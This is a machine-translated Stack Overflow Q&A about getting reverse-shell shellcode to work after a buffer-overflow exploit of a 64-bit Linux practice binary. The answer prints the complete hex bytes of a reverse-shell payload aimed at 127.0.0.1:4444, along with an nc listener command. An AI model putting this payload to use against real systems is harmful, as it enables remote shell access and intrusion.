首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >利用64位linux二进制逆向工程实践的问题

利用64位linux二进制逆向工程实践的问题
EN

Stack Overflow用户
提问于 2015-07-31 03:38:01
回答 1查看 195关注 0票数 0

我正在开发一个简单的64位linux二进制文件。我通过利用缓冲区溢出并使用jmp rsp来获得对程序的控制,从而获得了对RIP的控制。

但是,我在处理外壳代码部分时遇到了问题。我不够精明,不会写我自己的,所以我一直在用我在网上找到的一些。外壳代码需要在端口4444上给我一个反向外壳。

不过,为了测试,我尝试了一些基本的外壳代码。

作品- http://shell-storm.org/shellcode/files/shellcode-806.php

不起作用- https://www.exploit-db.com/exploits/35587/

第一个链接中的外壳代码可以正常工作。第二个没有。

我一步一步地看了一遍程序,每一条指令都排成一行。但是,在最后一次系统调用之后,程序将继续执行堆栈,而不是退出线程。

我真的需要帮助,我已经被困了一整天了。

EN

回答 1

Stack Overflow用户

发布于 2015-08-05 17:56:59

我测试了这两个外壳代码,它们都可以工作。

我认为你忽略了第二个问题的要点。据说:

注意:此C代码连接到127.0.0.1:4444

这意味着它正在尝试连接到localhost (127.0.0.1)上的4444端口。如果没有人在那个端口上监听,那么它就不会连接,而只是尝试执行你的syscall之后的任何东西。

尝试再次执行它,但这一次在执行您的外壳代码之前,您需要启动一些进程,等待端口4444 上的连接。

代码语言:javascript
复制
$ nc -lp 4444 -vv 
listening on [any] 4444 ...

在执行外壳代码时,先执行,然后执行

代码语言:javascript
复制
./execshellcode64 "\x31\xf6\xf7\xe6\xff\xc6\x6a\x02\x5f\x04\x29\x0f\x05\x50\x5f\x52\x52\xc7\x44\x24\x04\x7d\xff\xfe\xfe\x81\x44\x24\x04\x02\x01\x01\x02\x66\xc7\x44\x24\x02\x11\x5c\xc6\x04\x24\x02\x54\x5e\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\x56\x5a\x56\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x0f\x05"

代码语言:javascript
复制
 $ nc -lp 4444 -vv
listening on [any] 4444 ...
connect to [127.0.0.1] from localhost.localdomain [127.0.0.1] 40234

这是由您的shellcode代码发起的连接。

希望这能有所帮助!

注意::execshellcode64只是我为测试目的而开发的一个个人程序。这实际上不是一个真正的命令。

execshellcode源码:https://github.com/Hackndo/misc/tree/master/execshellcode

票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/31732599

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档